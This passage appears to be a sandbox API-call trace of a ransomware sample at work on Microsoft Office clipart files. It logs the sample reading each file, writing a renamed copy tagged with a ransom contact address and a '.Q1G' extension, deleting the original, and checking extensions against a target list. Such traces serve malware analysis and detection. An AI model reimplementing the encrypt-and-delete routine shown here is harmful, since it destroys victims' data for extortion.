Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0243.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.028] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.028] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.100] GetLastError () returned 0x0 [0243.100] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0243.101] WriteFile (in: hFile=0x204, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0243.102] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.102] WriteFile (in: hFile=0x204, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.103] SetEndOfFile (hFile=0x204) returned 1 [0243.103] CloseHandle (hObject=0x204) returned 1 [0243.103] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.103] SetEndOfFile (hFile=0x3a0) returned 1 [0243.105] CloseHandle (hObject=0x3a0) returned 1 [0243.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0243.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.106] lstrlenW (lpString=".doc") returned 4 [0243.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.106] lstrlenW (lpString=".docx") returned 5 [0243.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.106] lstrlenW (lpString=".pdf") returned 4 [0243.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.106] lstrlenW (lpString=".xls") returned 4 [0243.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.106] lstrlenW (lpString=".xlsx") returned 5 [0243.107] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.107] lstrlenW (lpString=".ppt") returned 4 [0243.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.107] lstrlenW (lpString=".zip") returned 4 [0243.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.107] lstrlenW (lpString=".rar") returned 4 [0243.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.107] lstrlenW (lpString=".bz2") returned 4 [0243.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.107] lstrlenW (lpString=".7z") returned 3 [0243.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.107] lstrlenW (lpString=".dbf") returned 4 [0243.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.107] lstrlenW (lpString=".1cd") returned 4 [0243.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.107] lstrlenW (lpString=".jpg") returned 4 [0243.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.108] lstrlenW (lpString=".doc") returned 4 [0243.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.108] lstrlenW (lpString=".docx") returned 5 [0243.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.108] lstrlenW (lpString=".pdf") returned 4 [0243.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.108] lstrlenW (lpString=".xls") returned 4 [0243.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.108] lstrlenW (lpString=".xlsx") returned 5 [0243.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.108] lstrlenW (lpString=".ppt") returned 4 [0243.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.108] lstrlenW (lpString=".zip") returned 4 [0243.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.108] lstrlenW (lpString=".rar") returned 4 [0243.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.108] lstrlenW (lpString=".bz2") returned 4 [0243.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.108] lstrlenW (lpString=".7z") returned 3 [0243.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.108] lstrlenW (lpString=".dbf") returned 4 [0243.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.108] lstrlenW (lpString=".1cd") returned 4 [0243.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0243.108] lstrlenW (lpString=".jpg") returned 4 [0243.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.109] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0243.109] lstrlenW (lpString="BD10890_.GIF") returned 12 [0243.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.109] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=13515) returned 1 [0243.109] CloseHandle (hObject=0x3a0) returned 1 [0243.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0243.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.110] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.110] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.111] GetLastError () returned 0x0 [0243.111] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x34cb, lpOverlapped=0x0) returned 1 [0243.112] WriteFile (in: hFile=0x204, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0243.113] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.113] WriteFile (in: hFile=0x204, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.113] SetEndOfFile (hFile=0x204) returned 1 [0243.114] CloseHandle (hObject=0x204) returned 1 [0243.114] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.114] SetEndOfFile (hFile=0x3a0) returned 1 [0243.117] CloseHandle (hObject=0x3a0) returned 1 [0243.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0243.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.118] lstrlenW (lpString=".doc") returned 4 [0243.118] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0243.118] lstrlenW (lpString=".docx") returned 5 [0243.118] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0243.118] lstrlenW (lpString=".pdf") returned 4 [0243.118] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0243.118] lstrlenW (lpString=".xls") returned 4 [0243.118] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0243.118] lstrlenW (lpString=".xlsx") returned 5 [0243.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0243.118] lstrlenW (lpString=".ppt") returned 4 [0243.118] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0243.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.118] lstrlenW (lpString=".zip") returned 4 [0243.118] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0243.119] lstrlenW (lpString=".rar") returned 4 [0243.119] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0243.119] lstrlenW (lpString=".bz2") returned 4 [0243.119] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0243.119] lstrlenW (lpString=".7z") returned 3 [0243.119] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0243.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.119] lstrlenW (lpString=".dbf") returned 4 [0243.119] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0243.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.119] lstrlenW (lpString=".1cd") returned 4 [0243.119] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0243.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.119] lstrlenW (lpString=".jpg") returned 4 [0243.119] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0243.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.119] lstrlenW (lpString=".doc") returned 4 [0243.119] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0243.119] lstrlenW (lpString=".docx") returned 5 [0243.119] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0243.119] lstrlenW (lpString=".pdf") returned 4 [0243.119] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0243.119] lstrlenW (lpString=".xls") returned 4 [0243.119] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0243.119] lstrlenW (lpString=".xlsx") returned 5 [0243.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0243.119] lstrlenW (lpString=".ppt") returned 4 [0243.119] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0243.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.119] lstrlenW (lpString=".zip") returned 4 [0243.119] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0243.119] lstrlenW (lpString=".rar") returned 4 [0243.119] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0243.120] lstrlenW (lpString=".bz2") returned 4 [0243.120] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0243.120] lstrlenW (lpString=".7z") returned 3 [0243.120] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0243.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.120] lstrlenW (lpString=".dbf") returned 4 [0243.120] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0243.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.120] lstrlenW (lpString=".1cd") returned 4 [0243.120] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0243.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 63 [0243.120] lstrlenW (lpString=".jpg") returned 4 [0243.120] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0243.120] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0243.120] lstrlenW (lpString="BD10972_.GIF") returned 12 [0243.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.121] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=20189) returned 1 [0243.121] CloseHandle (hObject=0x3a0) returned 1 [0243.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0243.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.122] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.122] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.122] GetLastError () returned 0x0 [0243.122] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x4edd, lpOverlapped=0x0) returned 1 [0243.124] WriteFile (in: hFile=0x204, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0243.125] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.125] WriteFile (in: hFile=0x204, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.125] SetEndOfFile (hFile=0x204) returned 1 [0243.125] CloseHandle (hObject=0x204) returned 1 [0243.126] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.126] SetEndOfFile (hFile=0x3a0) returned 1 [0243.129] CloseHandle (hObject=0x3a0) returned 1 [0243.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.130] lstrlenW (lpString=".doc") returned 4 [0243.130] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0243.130] lstrlenW (lpString=".docx") returned 5 [0243.130] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0243.130] lstrlenW (lpString=".pdf") returned 4 [0243.130] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0243.130] lstrlenW (lpString=".xls") returned 4 [0243.130] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0243.130] lstrlenW (lpString=".xlsx") returned 5 [0243.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0243.130] lstrlenW (lpString=".ppt") returned 4 [0243.130] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.130] lstrlenW (lpString=".zip") returned 4 [0243.130] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0243.130] lstrlenW (lpString=".rar") returned 4 [0243.130] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0243.130] lstrlenW (lpString=".bz2") returned 4 [0243.130] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0243.130] lstrlenW (lpString=".7z") returned 3 [0243.130] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.130] lstrlenW (lpString=".dbf") returned 4 [0243.130] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.130] lstrlenW (lpString=".1cd") returned 4 [0243.130] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0243.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.130] lstrlenW (lpString=".jpg") returned 4 [0243.131] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0243.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.195] lstrlenW (lpString=".doc") returned 4 [0243.195] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0243.195] lstrlenW (lpString=".docx") returned 5 [0243.195] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0243.195] lstrlenW (lpString=".pdf") returned 4 [0243.195] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0243.195] lstrlenW (lpString=".xls") returned 4 [0243.195] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0243.195] lstrlenW (lpString=".xlsx") returned 5 [0243.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0243.195] lstrlenW (lpString=".ppt") returned 4 [0243.195] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0243.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.195] lstrlenW (lpString=".zip") returned 4 [0243.195] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0243.196] lstrlenW (lpString=".rar") returned 4 [0243.196] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0243.196] lstrlenW (lpString=".bz2") returned 4 [0243.196] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0243.196] lstrlenW (lpString=".7z") returned 3 [0243.196] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0243.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.196] lstrlenW (lpString=".dbf") returned 4 [0243.196] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0243.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.196] lstrlenW (lpString=".1cd") returned 4 [0243.196] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0243.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0243.196] lstrlenW (lpString=".jpg") returned 4 [0243.196] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0243.196] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.196] lstrlenW (lpString="BD19695_.WMF") returned 12 [0243.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.379] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=12982) returned 1 [0243.379] CloseHandle (hObject=0x200) returned 1 [0243.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0243.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), 